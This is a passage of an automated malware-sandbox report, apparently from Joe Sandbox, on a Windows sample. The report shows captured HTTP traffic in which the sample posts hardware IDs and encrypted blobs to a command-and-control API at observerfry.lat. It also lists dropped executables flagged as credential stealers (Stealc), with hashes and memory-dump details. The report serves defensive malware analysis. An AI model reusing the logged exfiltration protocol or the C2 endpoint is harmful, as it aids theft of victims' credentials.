3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 35 50 34 57 54 53 35 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --Q5P4WTS5SKContent-Disposition: form-data; name="hwid"12B157733E5F742DAC8923850305D13E--Q5P4WTS5SKContent-Disposition: form-data; name="pid"1--Q5P4WTS5SKContent-Disposition: form-data; name="lid"PsFKDg--pablo--Q5P4WTS5SKContent-
2024-12-23 06:52:39 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8slo4kkpapuvbp85u3erontjdq; expires=Fri, 18 Apr 2025 00:39:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nDyTwY00ZRNQGmxHJvYsfSv9WLsu0%2F%2Bl4Xk%2BvGLVMRiRsl23Op9tBFI%2BBGZBANgMslRjk%2B48fdqWrS1pExhuYL0Vyg4WbwsFt%2Bm0pyp%2FUw11E%2BUZbccFpanrlSCOCycxcsk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666e145cf218c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1543&min_rtt=1525&rtt_var=585&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2109&delivery_rate=1914754&cwnd=169&unsent_bytes=0&cid=194aa1f6b631c5db&ts=776&x=0"
2024-12-23 06:52:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49743	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:40 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4X39Q0O4ST7JEGRC0C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571469 Host: observerfry.lat
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 2d 2d 34 58 33 39 51 30 4f 34 53 54 37 4a 45 47 52 43 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 58 33 39 51 30 4f 34 53 54 37 4a 45 47 52 43 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 58 33 39 51 30 4f 34 53 54 37 4a 45 47 52 43 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --4X39Q0O4ST7JEGRC0CContent-Disposition: form-data; name="hwid"12B157733E5F742DAC8923850305D13E--4X39Q0O4ST7JEGRC0CContent-Disposition: form-data; name="pid"1--4X39Q0O4ST7JEGRC0CContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 74 b3 53 a1 be 7e c7 ce f7 ac 2a 16 4e 50 f8 f0 fb 64 95 29 94 50 11 ed 69 07 6a 42 bc 53 1d 93 27 40 a9 40 0e e2 c1 95 e4 9a 32 45 40 a8 f2 1b 99 63 7c 6b 7d a6 c1 bb 9b f3 8f b4 d9 49 2f 28 a3 62 6f e8 d1 5f 8c ce fb 9f 20 7a 6e a1 92 67 a7 72 9a 20 1a 76 ba 75 de 64 6e 7b 7d 6e 78 ed 57 b2 2f 0e 68 16 13 00 bb 5b ca 63 4f 1c 0a 51 18 da 27 bd 26 60 bf 1b 0a 2e 84 3e 13 cd a0 bf 31 39 f5 23 f6 a3 e0 3d eb e0 4f 5d 08 78 1f 37 94 01 85 40 ec dd 4c 86 ef 0f 1e d0 ec fb bf fd 49 ff 87 81 f9 01 df c6 7e 78 01 c0 aa b8 b6 75 3e 30 54 0c 51 b8 54 12 8a 3a c9 7a 43 72 9b 73 97 87 23 40 c8 9b fb f5 89 7a 54 c6 62 cd bf 26 b6 10 f5 80 18 e7 67 2c 9e a7 5b e7 62 41 54 c8 6a 64 ca 23 d9 cb b1 3e 63 e2 ee 2a 58 c4 a5 1d 5a 0b fc 63 41 d4 13 d3 2b cf 82 4f 1b 3b 50 Data Ascii: tS~NPd)PijBS'@@2E@c\|k}I/(bo_ zngr vudn{}nxW/h[cOQ'&`.>19#=O]x7@LI~xu>0TQT:zCrs#@zTb&g,[bATjd#>cXZcA+O;P
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 94 a2 56 87 d5 ef 80 47 27 08 c7 40 e6 3e 95 5e ce a2 84 74 72 68 c0 a3 25 20 b8 82 1f 18 99 66 68 a3 1d 9e d8 a6 22 8d ca d3 9f c1 ee 32 bf 37 33 a8 24 f3 1e 5d 4a 58 05 9e e4 2e a4 8e 06 db 42 34 c3 00 ce ff b0 3f 14 b1 36 ab 05 1c 04 e8 0c f1 6f 7e 70 f1 01 42 34 43 97 13 03 c8 c3 f3 1c 7a 31 1c a2 65 48 c1 af 9a 6d 64 be 91 3a 7f 59 57 71 95 5e 67 01 12 4b 90 0b b5 4b 5a d2 d3 d0 92 47 87 4c 06 27 43 51 65 0a b8 f6 a6 37 4d 1c 89 1c 96 50 fc c3 54 0a 2e 93 4d fa fd d4 16 3b eb a1 10 8b 21 bd a3 bf f1 19 1e a8 4f 4a 20 bd 54 0d d3 e3 76 2c 2a b2 c9 dd da 98 85 76 f2 dc a4 03 eb 7e 5e 5b b8 87 8d 41 a4 03 48 5c 1c ab 7e fc e7 f9 0f 27 12 85 7a 84 bf 6e 2a 3c 06 b9 4d fc c4 c5 42 fe 14 1a 72 fd 62 37 76 4c 76 fc 53 44 a8 36 b2 4b 24 f0 28 e1 20 5c f2 b5 Data Ascii: VG'@>^trh% fh"273$]JX.B4?6o~pB4Cz1eHmd:YWq^gKKZGL'CQe7MPT.M;!OJ Tv,v~^[AH\~'zn<MBrb7vLvSD6K$( \
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 61 8a f5 10 f5 d1 c1 cb 51 21 c1 6f 2d 26 e8 f0 b5 63 46 c5 6b 12 da e0 fd 24 fb fb d7 23 cc 18 8c e6 03 dc 58 55 37 d4 74 10 9b 00 fd da be 88 11 46 86 7f ad be 70 6e 81 c0 db e3 bf 25 d4 74 21 46 61 e1 00 7e 77 af 12 ff 59 7a 56 ab 49 02 e4 7e bc d7 22 22 c0 82 c4 0f 94 3d cc 55 7b 4a d7 1b e8 72 8e e1 47 6d 0b 31 fb fb 31 5a 63 0d 15 6f d1 7b 79 41 57 49 96 ad f7 a1 6b 52 a3 52 07 04 e1 62 90 5a 7a 35 e5 3b dd 20 b0 1d 41 ac e0 99 5f d1 df 2f 19 7e 47 2b cb 59 08 c4 7f 67 8f e9 e3 33 d4 44 a5 7e 73 e2 61 f7 ef a2 d8 16 b0 4e b2 e3 9d c7 2c 4f fd f9 89 c0 f1 31 45 17 de 5d 6a 37 ab 9f 80 f0 6c b4 09 f1 43 17 64 a4 75 4c 72 c0 98 17 40 15 49 51 d1 c1 09 00 f7 46 86 7a 27 66 67 40 ed 12 fb 75 30 ca 96 94 7c e8 98 c7 ba 25 44 5a 28 fa 03 34 f5 d6 55 e3 9b Data Ascii: aQ!o-&cFk$#XU7tFpn%t!Fa~wYzVI~""=U{JrGm11Zco{yAWIkRRbZz5; A_/~G+Yg3D~saN,O1E]j7lCduLr@IQFz'fg@u0\|%DZ(4U
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 96 5a e1 da 42 8e 1a 8a 0e 1f 83 00 5f 5a b4 fe f7 7a 10 91 84 20 8a b9 e0 65 c3 bf 7f a8 ed d8 2b 4b a5 78 60 bb 37 ff 9f 35 f9 ff af 97 42 b8 73 94 67 1c 01 74 57 63 44 ae 20 31 e1 ef 84 dc f7 ed b9 08 5c 92 2d d9 8c d1 a9 14 57 3b 93 3e 71 70 96 24 89 a0 82 d0 a8 d0 17 87 11 44 4f 48 5d 19 a7 c8 7f 65 35 79 43 4f fb d6 97 b1 af f1 35 cd 45 a7 6f 67 09 0d e3 c0 59 aa 1d 17 30 5f 41 1e 76 f2 90 a1 aa 48 a8 06 ee c1 fb 23 85 a7 ae fb 69 00 47 cc 9f eb e3 3d 15 a8 4d b9 54 34 e8 d4 0f 37 1a eb a7 0c 7f 52 bd 87 54 aa 7d fe 4d 07 d2 96 77 40 01 1e 96 ff 82 42 b3 09 83 ed fa 3c 1f 0d 7f c3 9f ea f6 bf 8f e0 60 20 fa 5f c5 36 66 6b 3f b1 fa 9b 54 5c 6a f1 1e 7b c5 cc d2 cd 8b 92 98 24 32 94 51 81 0a 58 cf c8 bb 7a 8d f7 ed 03 63 cf d5 3d ed e6 f5 76 70 96 e9 Data Ascii: ZB_Zz e+Kx`75BsgtWcD 1\-W;>qp$DOH]e5yCO5EogY0_AvH#iG=MT47RT}Mw@B<` _6fk?T\j{$2QXzc=vp
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 3c b0 5f 00 21 d8 c9 5f 24 f6 b0 f1 3a 3c aa 3b 76 f4 f1 fd 5c 57 7a 3f 12 47 69 a8 0b f5 fc 16 13 0d 87 ce a6 5d e3 d1 d5 50 d6 e4 de 68 e6 a1 6a 29 69 fc a6 00 4a 23 eb 8b 82 0f 17 42 09 40 24 3f 6b 51 cf 67 32 53 09 e3 f1 fd c7 32 94 f6 07 5f bb 0b 0d 0e 54 94 6d 65 a6 84 d5 99 5b fb d1 2b ab 28 d6 cc 80 88 67 7f 91 6a e5 ec dd 55 6f 3b 4d 0c ac 02 5e 45 0a 76 9e 74 80 b7 81 a7 82 93 a5 d1 81 33 93 9d 39 b6 32 ec 11 df b9 b9 b7 39 e5 13 1f 53 b5 b1 06 e0 4c 3a f1 e2 ac a2 93 f0 01 5d ee cf bc d1 0a a1 f8 da 77 3f 43 54 43 c7 cc 59 9d 4b e6 ac 31 19 6e 95 59 fe 48 d8 ec 65 b9 e3 07 7d c3 f8 04 aa 2b a2 f7 5c 95 16 80 2a 4c 5b 1b 4e 66 2a 82 64 37 50 9c bf f7 c4 41 f0 be bf d8 05 0f ea 21 d4 6d 86 13 fb c5 0b 3e 99 08 be de c8 f5 14 79 34 fd 64 f8 d6 45 Data Ascii: <_!_$:<;v\Wz?Gi]Phj)iJ#B@$?kQg2S2_Tme[+(gjUo;M^Evt3929SL:]w?CTCYK1nYHe}+\L[Nfd7PA!m>y4dE
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 5b 6b 8a 43 2e c3 fb 82 95 47 fe 3d 73 45 64 3f 2c c7 90 a3 ca db c1 62 c3 2a e3 f9 af 49 7e 1b 13 d2 34 85 ca 2f f9 84 21 c9 b1 9d 8c 2f f2 b3 37 6f 53 73 b7 ee 21 a3 ca f7 8d 34 8f d8 46 87 48 0b 76 e4 57 a6 6b f3 c0 ca 5c ca 04 ae 76 d5 89 b0 35 47 b9 8a 23 07 51 b4 b9 60 15 fc 27 1f 74 d9 77 b9 28 91 ad bc 11 29 d8 e8 fe ab 3a 12 d7 5f 52 c5 2d ab 7a e1 c3 5c 2b 1c 64 59 9f fa ab 2e df 00 28 59 01 6b f7 8d 11 81 53 96 e0 b7 13 07 86 98 be b3 55 73 97 fa c2 5a 8f 75 ea 81 1b f4 9a ca 24 7e 60 cf ad 7d d0 9a 2d a3 75 54 2f 70 c6 70 16 90 c6 d8 42 88 0e 3c c2 7a 12 24 0d 19 9e 93 85 5b 16 70 e0 90 ae 3b 44 fa 6d 47 ec 7a 3a 12 c3 5c 08 9f fe 4d 38 35 7c e6 27 49 83 e7 ae a6 40 d0 59 ef e6 77 07 34 cd f2 13 76 5c 5f 9b 58 9a 96 9c ff a9 23 fd 7b f6 86 c1 Data Ascii: [kC.G=sEd?,b*I~4/!/7oSs!4FHvWk\v5G#Q`'tw():_R-z\+dY.(YkSUsZu$~`}-uT/ppB<z$[p;DmGz:\M85\|'I@Yw4v\_X#{
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: cd 5c 03 45 07 d5 80 d4 f9 56 aa 26 cf ef 2f 14 ce 0f ca 83 c6 f6 c5 97 e2 95 b2 7f 2d 76 47 74 ed 48 1e d3 11 ae 2d 9c 7e a4 53 14 bc 10 6a fe 13 2b b9 7f e8 f7 b0 b3 cf da 37 1d 7b 1d 96 8c f2 0f 05 f5 b9 b3 f4 06 dc c6 cd 79 bd f7 48 48 dd 81 10 5b 91 e7 5d 43 a7 17 8f c4 45 de 18 da 31 d2 22 62 c1 8b 67 84 f1 e0 ee 9b 3a 1f 40 89 a4 59 6a 41 11 19 ca f5 32 db 0a de 2c 8c a7 86 ea 84 6c 48 e8 05 7e ec 83 60 3e c7 ac 7d 78 c2 9b 1e b9 a7 3c 38 18 8d ef 51 4f bf bd fe 4d 49 ff 0e 20 16 bb e7 b9 02 a7 47 4a fa 47 e8 15 27 01 05 86 d7 fe 32 a3 3a a3 91 a3 77 05 81 f8 c2 73 86 ab 19 28 92 47 1f 32 af f5 e1 07 5d ed d7 5e 78 3d 27 31 ba f8 10 31 77 ba 04 fa c8 0e 90 7f 13 7e 77 5c 60 6a 15 06 d2 a8 02 18 99 55 a6 ab 81 bc 05 3f db 33 d1 27 05 d0 af 47 6a a7 Data Ascii: \EV&/-vGtH-~Sj+7{yHH[]CE1"bg:@YjA2,lH~`>}x<8QOMI GJG'2:ws(G2]^x='11w~w\`jU?3'Gj
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 9a c6 0f 82 da 32 db e0 67 78 e2 82 5f ae ca 3c fe 0d 7d 0a dd c8 36 a3 d7 e9 14 16 52 e7 2f 65 c7 fb ac 97 1d 20 a9 31 15 33 a2 21 1c df 44 2a 9e 44 6d 32 7f ad 82 b6 12 4b a3 10 88 c9 88 fd 00 8d 07 59 a2 04 04 7e a8 25 2c 03 1c c1 d3 07 1e d3 1d 40 a6 44 7f 85 7e d8 af 49 8f 45 4e 21 91 3d 0d 16 c4 99 8c 49 da 4e c3 0d dc 6c 60 93 2b 75 fd 5f 93 b0 2f 26 53 b8 ce 08 a7 5d fb 1a 0d 9e a7 14 3d ef 6c b0 f5 40 3d 00 59 f1 97 f7 32 df bf 7f 3e ec 38 ac 10 95 05 93 6f 76 50 bd 33 8d ec 16 cf 19 11 52 a6 63 23 d1 31 fe 5f 68 04 89 88 9e b4 c2 73 5e 2c ed 58 af 7b 08 f1 cf 69 23 16 66 37 bb f5 cf 67 06 09 4d e5 9b 29 fc 58 6c 1e 21 16 40 4b 7b 96 ec 80 ad 1e 09 6f 01 50 22 ff ee 00 27 12 52 6f 8e bd 72 4f a6 d8 bb 7f 90 c1 8f 85 4d ae ab a8 fe 62 bd 06 23 eb Data Ascii: 2gx_<}6R/e 13!D*Dm2KY~%,@D~IEN!=INl`+u_/&S]=l@=Y2>8ovP3Rc#1_hs^,X{i#f7gM)Xl!@K{oP"'RorOMb#
2024-12-23 06:52:40 UTC	15331	OUT	Data Raw: 12 db 2c 86 29 1c ab f9 c2 d0 55 43 e3 f0 cf e5 b1 ec a7 be 1e 46 93 83 ae fa fa 6b 9f 9c 31 5f b0 a5 ce 70 b8 58 01 d7 92 a9 76 37 1a 13 ac 1d 95 6f 5a 0b 2b d5 03 55 8d 1c 03 63 7e 4b d2 da b4 71 f9 f7 5a fb b1 9e 1f e8 b2 0d d4 da 86 a1 33 03 30 3e 21 40 f8 d7 eb 28 14 37 95 0f d9 d7 a1 99 67 4b 95 3f c1 56 be 5e 0d 68 26 f3 f1 bc ec 27 38 13 85 42 01 56 4f 19 a0 fb 45 c1 a7 79 4a 6e 52 ff 8d 1d be 15 43 e9 84 80 e5 41 54 9a 27 f0 7e f6 6f 31 5b aa 83 d9 5c 59 19 10 f0 3c 1c d0 83 46 1d ae 72 2e 02 5a 1f e6 5a b7 30 cb 9f 07 f0 70 76 13 c8 61 6c 7d 88 15 1d 1c e1 5b fa 30 fe c8 b8 27 ef 7f 0d 70 84 59 fc 47 14 d3 fd 57 fd 73 8b 11 c1 25 e4 cc d2 48 cb 04 66 c7 ce 13 53 fc 26 11 75 f8 6d e1 ba bd e5 1a a5 2d bc 09 77 eb 7c 9d 78 df 24 8a ae be a4 3b df Data Ascii: ,)UCFk1_pXv7oZ+Uc~KqZ30>!@(7gK?V^h&'8BVOEyJnRCAT'~o1[\Y<Fr.ZZ0pval}[0'pYGWs%HfS&um-w\|x$;
2024-12-23 06:52:43 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5pjsi1eg74cigobu4doe4ohe0t; expires=Fri, 18 Apr 2025 00:39:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2BTDZjx7JYvy%2Fo8qA4nYSLpfRciVmK2OG5SHxYHheouL%2Fw55if53oZkISbAA0mUjyW2NVx7wiJjLSLjIFS3QQNUGO1WZXZcIAsoze3WyyaNzCxI4eSiAU9tQ02V04dpc6vY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666e2378091895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1470&rtt_var=557&sent=349&recv=592&lost=0&retrans=0&sent_bytes=2837&recv_bytes=574015&delivery_rate=1951871&cwnd=185&unsent_bytes=0&cid=b9013eb1e1d992e6&ts=2404&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49752	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:44 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-23 06:52:44 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=12B157733E5F742DAC8923850305D13E
2024-12-23 06:52:45 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7oq0toait9rb5uom0gahfot1qh; expires=Fri, 18 Apr 2025 00:39:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eEftIm5uGgEQzf%2FujUoRNK3iaMIuBzmqwopj42WH4mtoYxH5n1ZCvZEDASGup8u%2F08VEvlYKAH%2B2YIOTr2wJRyGSQ%2Fg8joXlstrNPY0ftmhmKTdajert3aWnVsNNgV9g124%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666e3bed3fde93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1469&rtt_var=565&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1910994&cwnd=248&unsent_bytes=0&cid=fd6058fb87d56f5a&ts=795&x=0"
2024-12-23 06:52:45 UTC	214	IN	Data Raw: 64 30 0d 0a 45 46 51 61 74 64 46 31 4e 49 38 78 4d 44 5a 55 41 6e 6b 37 45 37 79 6d 51 70 33 7a 66 2f 6a 78 51 68 51 36 6f 45 59 74 68 68 68 4c 4c 7a 6a 41 38 30 38 57 35 30 56 45 52 6d 35 65 56 6d 63 38 6a 5a 35 33 73 38 46 4f 7a 64 39 7a 4a 51 6d 4f 64 78 76 61 4e 33 38 79 66 4f 6e 2b 45 56 48 70 48 31 56 4f 4d 53 42 56 47 58 58 49 68 48 69 74 33 31 32 64 30 33 67 6b 52 34 77 39 44 2f 4d 36 4b 6e 5a 79 77 61 55 46 44 74 4d 65 62 42 6c 6c 4f 6b 77 56 49 59 32 54 62 4b 7a 43 54 4e 62 41 64 45 67 56 30 7a 4a 49 35 33 56 4d 65 32 6a 55 76 78 46 62 34 68 39 56 54 6a 45 67 56 52 6c 31 79 49 52 34 72 64 39 64 6e 64 4e 34 4a 45 66 39 0d 0a Data Ascii: d0EFQatdF1NI8xMDZUAnk7E7ymQp3zf/jxQhQ6oEYthhhLLzjA808W50VERm5eVmc8jZ53s8FOzd9zJQmOdxvaN38yfOn+EVHpH1VOMSBVGXXIhHit312d03gkR4w9D/M6KnZywaUFDtMebBllOkwVIY2TbKzCTNbAdEgV0zJI53VMe2jUvxFb4h9VTjEgVRl1yIR4rd9dndN4JEf9
2024-12-23 06:52:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	4
Start time:	01:52:22
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\U8mbM8r793.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\U8mbM8r793.exe"
Imagebase:	0xfb0000
File size:	1'853'952 bytes
MD5 hash:	F89093F658B52FD17CA15D0209A37FFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1408347858.0000000001759000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1408145362.0000000001757000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:52:50
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe"
Imagebase:	0x510000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:52:55
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe"
Imagebase:	0xf30000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1698465028.0000000000F31000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.1611466099.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0173FF75 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1408197847.000000000173D000.00000004.00000020.00020000.00000000.sdmp, Offset: 0173D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_173d000_U8mbM8r793.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2894337422143dddbbc9bad0891a64c9d173f5c77516c55197d5fd466971f9
Instruction ID: f9fb8255fcb1d540fb76fb773066114fbe8111f7325dafbcf249e99d74cbc8b9
Opcode Fuzzy Hash: 2f2894337422143dddbbc9bad0891a64c9d173f5c77516c55197d5fd466971f9
Instruction Fuzzy Hash: 7401743140E3C69FC7674F748825152BFB0AF2721432B49DED4D1CE4B7D6290956EB62

Analysis Process: IC79VITF07QUR284C1B5QWCEACP3.exePID: 6040, Parent PID: 7940COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 006B3D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
